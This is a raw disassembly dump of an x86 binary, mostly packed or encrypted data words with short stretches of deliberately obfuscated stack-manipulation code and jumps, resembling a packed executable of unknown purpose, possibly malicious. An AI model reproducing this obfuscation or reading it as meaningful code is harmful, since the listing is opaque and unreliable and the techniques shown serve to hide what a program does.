9019FE43h, 7C8115F8h, 5387BD6Ch, 6D4C4F45h, 342899h dd 2A4B0000h, 412CBC45h, 0E65E0EB3h, 0CBACE62Ah, 2A31A226h dd 28A049h, 770EF082h, 0B1DBDCBCh, 25A7482Ch, 229CC07Ch dd 7B7DA197h, 996D5261h, 11Eh, 442A9900h, 0AD402DBFh, 0F0D64FDBh dd 472A770Eh, 54008B1h, 0F697D3BEh, 9BCE9E1Fh, 0F0D24BDFh dd 0BB2E770Eh, 7426AD3Dh, 0A3442BBAh, 0F36CBC29h, 2E770EF0h dd 0EF0811Ah, 2968FF77h, 0AEF2C6A2h, 0C1F90294h, 0F0AA2307h dd 0B65A770Eh, 13325731h, 0EB84E844h, 0C46402A0h, 7511FFBAh dd 68FDB520h, 0E1896788h, 38C15637h, 0AD7D3550h, 710BDF34h dd 267DD88h, 0B3064A6Bh, 69B1DBDCh, 710BDFEEh, 0F38BDF13h dd 60F59B1Ch, 9D60688Dh, 3093F5FAh, 0D8ADD80Ch, 0B0D5B738h dd 0D94E58EFh, 38B40513h, 34C5C255h, 3D88DD8Fh, 528084AFh dd 507F936Ah, 0F8000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h dd 77159A7Dh, 11390BE2h, 710BC878h, 0C90E87A3h, 0E772710Bh dd 3A5239ACh, 0AD3FC057h, 0A47633C0h, 75D8B01Fh, 0B4903A8h dd 0E57E72Bh, 0C2A3C216h, 18A1722Bh, 0BB52378Dh, 7AAE02F0h dd 0B5335AEh, 0BBDC8B71h, 533EF28Dh, 29EEF63Dh, 80E9936Ah dd 0A000000h, 6AE34701h, 0D6770EF0h, 0F0DF78D0h, 8E5D770Eh dd 90FA4523h, 0C99C5610h, 60F95127h, 0DC770EF0h, 0BF2AA209h dd 0F0A0E9C1h, 0C99C770Eh, 0F0DE779Fh, 866E770Eh, 98F0F599h dd 9B6666CDh, 0A99F3F4h, 0FE74C60Ah, 20F392C6h, 81F0B9BFh dd 0C64CE2D4h, 0D1354A6Fh, 79C4E98Ch, 6963886Ah, 4D37807Ch dd 0B45913AFh, 0D88DDFE0h, 45034C5Ch, 4179770Eh, 0E4470E9h dd 0B219CC77h, 713BDEh, 0F0BA0000h, 0FF4B6785h, 75121415h dd 0A10C5C0Bh, 0D6BB29CEh, 682EBE3Fh, 0CC019AAEh, 0E87F710Bh dd 0CC2C3C0Ch, 0FDBB710Bh, 67618A68h, 6EB28662h, 0B74441D4h dd 8621A732h, 65C5FDFBh, 6F05F712h, 0DE68B669h, 6A2FC139h dd 0A820B78Eh, 0DB8D32C5h, 0EC489C90h, 0B46703A1h, 32AC6EDBh dd 85C3B975h, 0FFF552A5h, 751BCE74h, 0A03911CBh, 1C710BD5h dd 0F070F349h, 884B6785h, 0FD4D08FCh, 0F046FCB6h, 0F0C95465h dd 20DA9410h, 6549C266h, 20B7770Eh, 91116444h, 580F7508h dd 0F6A37D1Eh, 0B7D37CCEh, 29CC5139h, 1830EA84h, 7104267Fh dd 0B1DBE0B1h, 926EFDD4h, 63846BFEh, 36AEC169h, 0EE422ABFh dd 3B0DE0BAh, 4D1676EFh, 0B01FCAFAh, 1A649DCh, 0E70ED147h dd 0BEC244D4h, 16FE9369h, 836AF791h, 0F3876A62h, 1D139AF2h dd 0C0FC49C9h, 0B233DA9Ch, 797E11F4h, 0EC3C7A6Fh, 0FA4DA773h dd 0C2A602C9h, 23E0B154h, 63D9A44Dh, 646670Eh, 3CBh, 80036A00h dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h db 0Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] pop esp push 53E2h mov [esp], eax push 6943h mov [esp], edi push 60A3D63h mov eax, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push 5E73h mov [esp], eax xor dword ptr [esp], 7D412888h pop dword ptr [edi+8] xor dword ptr [edi+8], 7D412888h mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- dd 0BF646DC8h, 647E926Ch, 41E1B8D6h, 0C503060Ah, 0CDCCE0FFh dd 0EEF3730Eh, 0A2907935h, 0ED04519Bh, 10D54617h, 98003A90h dd 0F8C12495h, 30EC4A29h, 37E5E4Ch, 4EB70E7h, 3BD0A51Bh dd 54FE9h, 0C7E88B00h, 5A5F3C81h, 24CDA336h, 0B439DDA0h dd 7AC4DD0h, 6634E341h, 91646891h, 5E8FC01h, 8B1E7277h dd 0F48DC3E4h, 0AEFD96B2h, 0B1437104h, 0A2432A32h, 9B2472Ah dd 6B08DD5Bh, 0E5430646h, 80C8ED80h, 33555A3Dh, 0A424CDAEh dd 0D7B136D9h, 4A02A34Ah, 50EA3EF2h, 3BAE3EC3h, 0F3271DACh dd 97D3D4BBh, 0F19B20F6h, 0CA741894h, 3A95A909h, 4D0F5059h dd 926366E2h, 1CFE9369h, 8D47F197h, 0E1324BDh, 77CD9877h dd 3F7B8012h, 0C41DD285h, 75A65276h, 0E4FBA53h, 17530677h dd 0E4F9A33h, 0F573E677h, 0C1692395h, 770E4F48h, 264B21B4h dd 0B03BAD52h, 8416287Ch, 0F184697Fh, 0D6749CCCh, 68770E4Fh dd 85686085h, 179ECEF3h, 3E45F519h, 0BAC2D6FAh, 0E9996CB0h dd 19737404h, 85EAF04Ch, 15000000h, 2AA2432Ah, 0EF08702h dd 0D4D9BD77h, 16881BB4h, 9BE6D0E9h, 0CD9F20F4h, 0D363B78Fh dd 544C9084h, 996C7550h, 10Fh, 6C01A800h, 0E68B618Ah, 11FCEC15h dd 806D7F84h, 3C81CBECh, 0FF8D9C5Bh, 165F4FF6h, 9E7CC18Bh dd 6EE7315h, 0D1E2E7E1h, 0EC9F3F63h, 8C610C50h, 0C184C4E9h dd 4C75066Bh, 17FD9E18h, 0E0BC72DCh, 3A4481Fh, 882DC0A5h dd 88A05AC4h, 770E560Fh, 55A53E0Ah, 4C1B770Eh, 0A92A8655h dd 6AE34701h, 0D6770EF0h, 2FC0A503h, 9E7FC28Ah, 6CD07315h dd 758A4D38h, 0D86FEFCh, 0D2BA3FD1h, 394C28B7h, 0A83D5358h dd 0C5A820C5h, 4FDE8E33h, 0A1AB8DD1h, 2996D45h, 0E367E048h dd 98AB770Eh, 672D1977h, 0CF90475Eh, 901C0F9Dh, 5FBD3B7Fh dd 60h, 0BC452AD8h, 0AAF412Ch, 7C1FDB42h, 0B4ED4C84h, 0C4A83F4Eh dd 2D714523h, 697F8415h, 0BC55F5AFh, 770E28h, 0E58ADF55h dd 4D218CDCh, 0B36120A8h, 8483896Fh, 487C996Ch, 0FF000000h dd 2CBC452Ah, 3EC4B341h, 8116B75Ah, 3EB6D6BDh, 0F16ABE78h dd 3770E74h, 9C4B4A6Bh, 0B6C81C20h, 0CFB4D8E1h, 6A0492Ah dd 906C9567h, 0CAAF3EF8h, 4622A721h, 0EF0E866h, 0AAFE2277h dd 6D51B6CEh, 1B199h, 2AC20000h, 402DBF44h, 0AFDEC2ADh dd 600ADBD3h, 0B488F395h, 0A3482E60h, 0F9F7822Dh, 0FC5F69C1h dd 0EDD7511h, 0F4F99D70h, 137BF194h, 82C6E78Eh, 51424314h dd 109ECB23h, 991EF194h, 0FC9649CFh, 47564D4Bh, 900B2399h dd 0B1710B36h, 7E11297Dh, 0D8AD6B79h, 63D5B738h, 0B364EC7h dd 5827B271h, 0C1E689DCh, 52533A87h, 67AB693Ah, 21A7482Fh dd 0FEFF9677h, 982B3102h, 62249369h, 57000001h, 4B6785F0h dd 0DA73D791h, 26770EF0h, 0F71535B3h, 45751208h, 846BF696h dd 0F5986D63h, 45D7B6F0h, 0EEA8C0BCh, 1577781Fh, 0C90E87A3h dd 0E772710Bh, 26C99C18h, 7404E981h, 0F04C1973h, 0C5090B98h dd 0B233C7A6h, 5C318FDAh, 935034B9h, 936A2A89h, 6746h dd 0AE7A3400h, 710BCC35h, 0E589DC8Bh, 0F0EF64C0h, 0E0486686h dd 770EF097h, 870028E2h, 0F5770EF0h, 3CAB8A66h, 0E40DE382h dd 7D1632E4h, 0C3770EF0h, 39DA8914h, 8C5434B0h, 770EF113h dd 36A6EACAh, 5812AC4Ch, 89C3E8B5h, 0FF4860DCh, 7D770EF0h dd 0F074ED3Dh, 9BAF770Eh, 770EF102h, 3DA8EB7Eh, 0A6DF3256h dd 66000000h, 0FAB485F0h, 0EF0B52Eh, 4C5C0B77h, 770EF0D3h dd 7A129765h, 0DAA1346Fh, 14C28C9Ch, 2DB87512h, 0BE3FD6BBh dd 0F6996C2Ah, 7F167BF1h, 86CBEDB4h, 9A61763Eh, 0D08A44F2h dd 0B0BDF78h, 9E8E5D71h, 710B0C05h, 3810EC7Bh, 710B0C28h dd 75F83BFh, 0DEDFB770h, 8B9FDB8Eh, 710B0C12h, 786CFB6Eh dd 8A6444Fh, 4CA0B20h, 8AC2896Fh, 13AF5027h, 9F159A72h dd 33D284CFh, 0DADE5A5Bh, 5D5B26B6h, 0C39A7225h, 10D04BF7h dd 394EDA94h, 0D074FF64h, 30585D3Dh, 0E729A286h, 0C097710Bh dd 0CBA6FF75h, 51378223h, 8E6C0122h, 55208F65h, 0FA0F1B57h dd 767508AEh, 41FA2029h, 8712ACC9h, 0DA9578C5h, 0B040DE11h dd 97766A0Fh, 39CCEA71h, 0B5D9575Ch, 0BF504D20h, 153DAF3Ah dd 63AEE566h, 102A7EB2h, 843E787Dh, 3E652BA4h, 6ECA913Bh dd 0DFE0B71Ah, 0AB4C208Dh, 5F00BA21h, 9F267647h, 566AC60Dh dd 0A54802h, 4216F94Ch, 0E325CEA3h, 3B3EEF6Ah, 0D4B403D6h dd 0D39h, 47014400h, 0EF06AE3h, 0A503D677h, 472AEAE9h dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 3209h dd 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h, 2C895C24h dd 61086824h, 14890000h, 47D56824h, 4890000h, 44EF6824h dd 0D5873D2h, 184411B8h, 502E0C1h, 7C5C78DCh, 5471C905h dd 58C5899Ah, 4EC81h, 24890000h, 24048124h, 4, 0EE89565Ah dd 8B087289h, 0C4812434h, 4, 5A2434FFh, 8B04C483h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- dw 0E17h dd 0A4763B8h, 0FFC50306h, 842BECE0h, 7146926h, 2B12C60Fh dd 10E86Ah, 85830000h, 7FFDDD16h, 4016FE56h, 36EA7E20h dd 0B70FB487h, 0B6B05FDAh, 61D1C781h, 81660000h, 0B92BF1E6h dd 7B876CA1h, 5449E981h, 178B7B87h, 48A9EA81h, 80604505h dd 0CE8B23F2h, 53C28161h, 6668E4C7h, 0B431D381h, 8FDDF281h dd 8B570266h, 17895BD8h, 0A996AABBh, 1EF8347h, 4F4F4FF5h dd 0E983FC8Ah, 0C3850F01h, 60FFFFFFh, 5231E580h, 0A873B5BBh dd 8D615F64h, 0A495F8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 6D5272C4h, 89F537B6h dd 331D18Dh, 71BD8906h, 0C7060311h, 301E185h, 717C06h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8BF54CF0h, 0BD85C7F7h, 60321h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0D66BC353h, 8EB8166h, 0E9B5FF12h, 6A060313h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9052C350h, 4B14C88Dh, 15A2C39Bh, 0EE8F28Bh dd 75000000h, 5326395Eh, 738BA490h, 0DF939CD3h, 5FD38BC9h dd 269195FFh, 95310603h, 6032FE1h, 95FF006Ah, 6031FB9h dd 1EEBC08Bh, 68093D90h, 56D0046Dh, 0FF0E3259h, 7FF2A20Eh dd 0B9FF475h, 348A31DFh, 0EAF04370h, 4EB5D28h, 294CA10Dh dd 5C1E9h, 0D3D4A700h, 0A64B28BDh, 30B95F22h, 8025C95Ch dd 139879CCh, 1248F77Dh, 8D10747Dh, 3184C8EDh, 0A70A5E63h dd 18B92FD0h, 0A8118A9Eh, 0DD6F7104h, 0A2432A1Eh, 96B26C2Ah dd 770EF0FDh, 1EF19443h, 0A94E2399h, 16F94C00h, 6C63055Bh dd 0F9A5AD7h, 981DF05Dh, 416A0FDEh, 1E880129h, 61F4770Eh dd 5035E38Bh, 34513BBCh, 0A348D5B8h, 0FCB66029h, 0E1EB32Ch dd 24420977h, 0E1E8B04h, 8E6AF177h, 492C66AAh, 0BF5D20A4h dd 31C3563Ah, 9D7DC088h, 3BBD5E18h, 913E2662h, 38A3CBA1h dd 0FC9ED004h, 462791F7h, 0E5B0DB2h, 0B738DFB2h, 648F0DD5h dd 9B99770Eh, 0C65B6177h, 9714996Ch, 0A7000000h, 0B55A432Ah dd 36BB590Ch, 24A43356h, 0EF0811Ch, 0DEDFB377h, 0A54E238Eh dd 4C23A623h, 0B26221ABh, 93812C6Eh, 5253694Fh, 10C996Dh dd 0AF000000h, 6AE34701h, 0D6770EF0h, 33C0A503h, 0E87A35Dh dd 72770EF1h, 0F02CA5E7h, 3CDC770Eh, 66CD98BBh, 0F1FA9B66h dd 5D620A97h, 0FB04025h, 0A650D9B1h, 0CA5E36C7h, 770EF051h dd 15AD38AFh, 0EF09C35h, 0FF75E077h, 3EDF97BBh, 0E743FDB5h dd 770EF06Eh, 0C5A907D2h, 0DFE48A5Bh, 67DDE688h, 2C4A6B02h dd 0BB31B659h, 452AACD7h, 0E04802BCh, 770EF067h, 0AB4306D5h dd 0A907420Ah, 1A9F7CC1h, 0E8A2BB5Ch, 0DED54EDAh, 0BC2B770Eh dd 0D129821Bh, 502CBB40h, 3EC35538h, 8A2BC3AEh, 78AC90C2h dd 5B8FB5DEh, 7456E03h, 0B2DADBB2h, 28A0492Fh, 8197BB79h dd 996C7B8Bh, 3CC15538h, 775A40h, 2AE50000h, 6A2CBC45h dd 9AF2F39Bh, 7A1C71CFh, 92AE1771h, 5E63344Eh, 0D1D2A70Ah dd 0B82DBF44h, 0D3BE43D5h, 0BF40D4B9h, 2BBA7C2Dh, 0F1C5A344h dd 4BC1CBADh, 55BE996Dh, 0FC000000h, 3EEF575Bh, 1BF966AEh dd 493F696h, 452A2BA8h, 0B3412CBCh, 50E65E0Eh, 171CDBBDh dd 0E9FF70C9h, 481D4FDAh, 0E984C8ECh, 1D4F7004h, 8EDEE3B0h dd 9DF04CDBh, 40690FFCh, 92F65D08h, 0A0492AE1h, 0F0820028h dd 9084770Eh, 5250544Ch, 10F996Dh, 0A8000000h, 0AD75442Ah dd 0EF51FC6Eh, 0CB069FABh, 0EF7A770Eh, 68FDB500h, 22FCA984h dd 42091985h, 660895F7h, 0F35E0B5Dh, 0C2A31575h, 592C8831h dd 2C5731B6h, 0E48ACC10h, 93FE89DFh, 0C3CD5D15h, 397511FDh dd 0E97C3A52h, 7A133709h, 0C6710BDDh, 79C48413h, 29871297h dd 720CB144h, 0DDF790B8h, 9645710Bh, 1F951EF3h, 0EE0FE64Bh dd 0DDBB56FEh, 0DA5C710Bh, 0AD8A690Bh, 0B1011636h, 0EC8EDDA8h dd 15569C7h, 0BF4CB162h, 3E72B525h, 0A7482F42h, 34B95C21h dd 8126C954h, 497204E9h, 6E089BF3h, 79F7F89Fh, 0B6591145h dd 0C98328C9h, 0CD46E29Ch, 33710BC7h, 0D8BD9A4h, 466D7D4Ah dd 35C75DF4h, 784B218Ch, 936A3464h, 16A63h, 0D3865900h dd 68E149C9h, 0D4710BBDh, 0E31A7001h, 0F0B83BB1h, 0F0F99F85h dd 0D4B84D65h, 502CB9D3h, 9143216h, 0F7627512h, 0B8650895h dd 64AD1DAh, 3EE0C798h, 0CF9922F3h, 2114C59Ah, 4267085Fh dd 8CE15F0Ah, 3984C4E9h, 94375156h, 0A13A01D2h, 9DCFF485h dd 6FB9B7C8h, 4E92A602h, 0BB8F6134h, 710BD122h, 687CCB9Eh dd 6A32C1DBh, 4BBE93h, 0F0390000h, 0E0486686h, 770EF097h dd 4A6B03E2h, 0C8E94702h, 2DEB5CD7h, 0B90406A3h, 0FB8E072Fh dd 1751770Dh, 75C67C44h, 9D1BA0B0h, 9DE77599h, 0E0E811E7h dd 0E47DCDE5h, 58770E55h, 0A088268Dh, 770E5557h, 9F7216C5h dd 0AFh, 385E0126h, 65EA999Dh, 8EAAFC9Dh, 91175ACBh, 0C3E1AC1Bh dd 30B983A7h, 2DC07511h, 0A623A54Ah, 0F384EBCAh, 30189ECEh dd 710B2F97h, 1CEB76E5h, 0E90EE14Ch, 719A3DFBh, 3E2CD2C9h dd 0F99CF14Fh, 0CB8A0327h, 63F6710Bh, 3C2CF494h, 0BE710BCCh dd 29B4D4DDh, 36B75E4Bh, 954921ABh, 3187F141h, 0BD3BBC5Ch dd 7A1D5579h, 2D581775h, 3E57F38Fh, 0E56F0583h, 0FDE69432h dd 1894E233h, 573A5239h, 8E2FC7C0h, 0AC3C8BDEh, 5BD90D27h dd 54F4B230h, 74FF0F3Bh, 0E29CDA81h, 3456E03h, 20CD4646h dd 0F454710Bh, 710B205Bh, 4C1B3AA1h, 0F0E79CF0h, 0FF4B6785h dd 7508A7E6h, 1FA0775Ah, 0EC3CF6B0h, 7104A773h, 0C46402C9h dd 7104A74Bh, 3E4E2AB1h, 553BBC53h, 0CF5B2DC0h, 7104A756h dd 0FCEC15E6h, 5423B6E9h, 21DEC34h, 0C57B5643h, 1038F291h dd 4DC24977h, 9C7316C5h, 9814711Bh, 0CF9D22F5h, 7A12937Ah dd 0EEFEFF97h, 14B6C03h, 0B6D6DBBCh, 0CCA6472Bh, 9912ACF0h dd 583F779Bh, 3DDDCEAFh, 2462DB8h, 0B5D7D8BFh, 0D58h, 4701DB00h dd 0EF06AE3h, 0A503D677h, 472AEAE9h, 0B45B26A6h, 26F45933h dd 9266CB9Dh, 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h dd 0B1422FB9h, 500B4008h, 0B951E089h, 30476265h, 3AA3E981h dd 0D1F73572h, 3AE98141h, 1052AD8h, 0E88359C8h, 24048704h dd 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h, 68240C89h dd 3C50h, 83243489h, 148904ECh, 14D6BA24h, 0E2810515h dd 7F711Eh, 814ADAF7h, 0E0A664F2h, 5AD189F9h, 24348B54h dd 4C481h, 0EC810000h, 4, 89240489h, 84689C8h, 24348B58h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5439D9 ; --------------------------------------------------------------------------- dd 0ABB87AA1h, 3060A4Eh, 0EBE0FFC5h, 172AC4F8h, 5C3EC60Dh dd 2C155E42h, 912AD3E1h, 567293ACh, 0E816D61Ah, 0E3455693h dd 0AA7EFC12h, 0C227CEA8h, 2979CB35h, 545A0316h, 1D4CA840h dd 797DA2A8h, 0BC088E09h, 52266B8h, 58376AE8h, 3339E770h dd 1124CB72h, 0E17DEAE3h, 40332B2Dh, 450EB37Ch, 0EC38C4BCh dd 8207D004h, 0E42179FFh, 943E939Bh, 0C122ECF1h, 381FB4B4h dd 60203AE4h, 21239F81h, 4E505A78h, 0EB6E1CB2h, 10h, 3 dup(0) dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0FD08C351h, 20BCFE3Ch, 83705EDAh dd 31039BDh, 9750006h, 111DBD83h, 74000603h, 8B535019h dd 42DB8C0h, 85890000h, 6031775h, 0B0919D8Dh, 0D3FF0605h dd 0BD83585Bh, 603111Dh, 50177400h, 42DB853h, 85890000h dd 6031775h, 0AD809D8Dh, 0D3FF0605h, 6A585Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2DE9B3C3h dd 0F8572762h, 15BD895Ah, 8B06030Bh, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 12E538ECh dd 0B533AA2Eh, 603194Dh, 13D18D8Bh, 0F9830603h, 0AF840F00h dd 81000000h, 6166CEC2h, 0FE83Eh, 577B0000h, 7898F354h dd 9539518h, 1A097F96h, 0FD8D8937h, 5A06032Dh, 2C3D8B64h dd 60000000h, 0A59589F9h, 6106030Fh, 13E8h, 70E30E00h dd 0F5151D18h, 4B2F21E3h, 8137E2B4h, 0B194851h, 25E5B58Bh dd 0B5A0603h, 57840FFFh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DC52C356h dd 0EE81DA0Bh, 0B64212Bh, 6A3F8Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 6D5AEEC3h, 0C032B9EEh dd 9FD9D89h, 0AAF30603h, 0D58FF681h, 4935058Eh, 80535041h dd 85C661E6h, 6032F39h, 9E947h, 62720000h, 0D6206886h dd 687811B8h, 0B80AC196h, 0BA243481h, 6664DC49h, 0B529D78Bh dd 60310D5h, 28C9B5FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 78A1C0C3h, 0B5B589DBh dd 89060331h, 33035BDh, 0BC858D06h, 0FF060673h, 319501D0h dd 89060302h, 3093185h, 1880F06h, 0FC000000h, 2F3985C6h dd 6A530603h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 1BBAC351h, 0B5073B02h, 68C68166h dd 693F68E7h, 0CE83AA0h, 0BC000000h, 0D788C7FBh, 20C42209h dd 56D211D2h, 5A5A46B2h, 0BD240481h, 6A4DF801h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 2915C350h, 320C595h, 9B52306h, 0FF060309h, 328C9B5h dd 81958906h, 8D060302h, 673BC85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 895AC06Eh dd 31DA195h, 0CE906h, 0E9970000h, 0BA460DD9h, 21DBA970h dd 0D0FFF637h, 10B1958Bh, 858D0603h, 6063BF7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F2C35747h, 88522FF2h dd 0F1BF0F78h, 0F858589h, 0E9520603h, 0Ah, 421BFA4Bh, 4B9EDEA2h dd 0F5E3C55h, 583h, 0CE816600h, 206A946Ch, 95FFFF6Ah, 6030F85h dd 50414935h, 8585C753h, 106032Eh, 0C7000000h, 3233D85h dd 6, 77DA8100h, 6A315B78h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 9F78C352h, 67473E6Fh dd 9BAAD27Bh, 28198D09h, 0D08A0603h, 2CDDBD83h, 0F000603h dd 6384h, 22E28100h, 8B37671Ah, 312E585h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0FA69F80Dh, 57440961h, 0A364h, 0F28B0000h, 1CE5958Bh dd 858B0603h, 6031F3Dh, 13E9h, 76FCDB00h, 304CD9h, 0DDA731D2h dd 6EC1F284h, 92FF0277h, 0BD89E08Bh, 6030FD9h, 2C7DBD83h dd 0F000603h, 40B85h, 8BD18B00h, 3985C6F2h, 5606032Fh dd 9FCA8166h, 11952328h, 0E8060313h, 4, 0A9C530DFh, 7E8h dd 53F94B00h, 712D7EEDh, 61D98A60h, 5250505Ah, 310F28B2h dd 0CE10BA66h, 448B585Ah, 0D78B0424h, 800F008Bh, 3, 89F78B66h dd 0B2042444h, 6A58B9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 7A110AC3h, 6CC78F8Ah, 0A144BE3Ah dd 0B5FF396Dh, 60328C9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 36C35040h, 31575F3Dh, 306218Dh, 0BA665E06h dd 858D1B37h, 60673BCh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0C9C35646h, 0FF120C2Ch, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 7121CDD0h, 0B5235DBCh, 6030941h, 8E850h, 0E360000h dd 7DF4033Bh, 8B6694BEh, 4895EF3h, 498D8D24h, 6A06031Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 596AC355h, 11E95Eh, 0FD420000h, 0ECCC53Eh dd 2B0C1371h, 0D60993A6h, 91A30067h, 9B92BE66h, 11E950h dd 0F8DF0000h, 0B794E22Bh, 0B7788DC0h, 7FAB7544h, 91475734h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 71C35242h dd 0AAF980B4h, 398501F0h, 6A060301h, 68F38B04h, 0B8C71037h dd 481F28Bh, 38FFC924h, 6D858947h, 0FF060330h, 30121B5h dd 0DB53106h, 0FF060309h, 858D01D0h, 8B06030Ch, 30121BDh dd 0DBBE6606h, 3C7F032Ch, 12860Fh, 0DE90000h, 0C2000000h dd 19C368EFh, 6F3602CCh, 0E4F7692Fh, 0F8C781h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0AF8FE2C3h, 0B16C3446h, 47C7006Ah, 2024h, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 2756662Dh, 0BD8340FBh, 60A4FD5h, 40840F00h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 8320C357h, 0BAE34B8h, 2960C05Ch, 31249BDh dd 0C7836106h, 0AD8EBE28h, 7C768DAh, 64696A2Eh, 2EB1950Bh dd 47C70603h, 61746104h, 51958B00h, 8B06030Ch, 0A4FDD85h dd 95958906h, 89060306h, 8BF90C47h, 0A4FE185h, 21953306h dd 89060310h, 6A0847h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0A213FFC3h, 28C78385h, 2D43DE81h dd 7C75CD6h, 6E6F632Eh, 3289BD29h, 47C70603h, 67696604h dd 6E800h, 44090000h, 0B9DED757h, 38B0Fh, 8B660000h, 858B5AD1h dd 60A4FD9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0FAC35141h, 89349469h, 6A0C47h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 999A8AC3h dd 1AAF7307h, 8919D9DDh, 312E985h, 0D5858B06h, 6A060A4Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 890FC355h, 3232D9Dh, 4789F506h, 89B50B08h dd 5806031Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 55C35040h, 0D6816626h, 8D8DB444h, 6030471h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1AC35545h, 85B58BC1h dd 9106030Bh, 0BE50D38Ah, 431E6A79h, 830F91h, 0FF000000h dd 31F49B5h, 0D3B70F06h, 0BBB468h, 1D31BAA8h, 4810888h dd 0FF544C24h, 21B5FF57h, 8B060301h, 3094995h, 89D0FF06h dd 31E3D85h, 0D0BF0F06h, 0B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 42570952h dd 21958906h, 5006031Ah, 0B5EF78Bh, 33840FC0h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0D7A2C356h, 1341B5FFh, 21BE0603h, 0FF6298EEh dd 3269195h, 0CA816606h, 0C08BD39Fh, 1039BD83h, 75000603h dd 1DBD8309h, 60311h, 53501974h, 2DB8C08Bh, 89000004h dd 3239185h, 0F89D8D06h, 0FF0605B0h, 83585BD3h, 3111DBDh dd 17740006h, 2DB85350h, 89000004h, 3239185h, 999D8D06h dd 0FF0605ADh, 0F585BD3h, 0B8Fh, 0F2816000h, 299FF383h dd 61F2EB80h, 0AD9FE681h, 8B666C5Ah, 0C34FBAD6h, 0C08B6186h dd 22E9B501h, 0C08B0603h, 5C0A04EBh, 0C3E92A1Bh, 95000005h dd 1EE3E106h, 8D10747Dh, 3F82C6EBh, 0AF325657h, 0C1A321CAh dd 0AAF4016h, 9E1FF346h, 6C9567CAh, 0FD029578h, 78D0D6EFh dd 710498DFh, 4A0DAB5Dh, 9BEC4B87h, 0D95AD614h, 4A2432Ah dd 7F698E61h, 38FE8E6Ah, 4523C855h, 26AA4F20h, 513BBC53h dd 0C48429CCh, 5B179C79h, 0C3FD62B8h, 0F89EB6C5h, 61CC99F3h dd 7A1EE38Bh, 0E68E1375h, 180487C1h, 0D234AF4h, 35DBAAD9h dd 3389DC8Ch, 12FCB75Eh, 0E8E17366h, 0AF697FCAh, 5CBC55F5h dd 5500770Eh, 0C3E88ADFh, 440F4A7h, 0B47733A1h, 33C15438h dd 9F73DE8Eh, 2F054E1Eh, 28D1A3FBh, 0DB74D48Eh, 46770E7Eh dd 0E7E69E2h, 100D777h, 278ADE5Ah, 39C25750h, 74123A52h dd 0B6770E7Eh, 0CACD27F8h, 0D55BEBDCh, 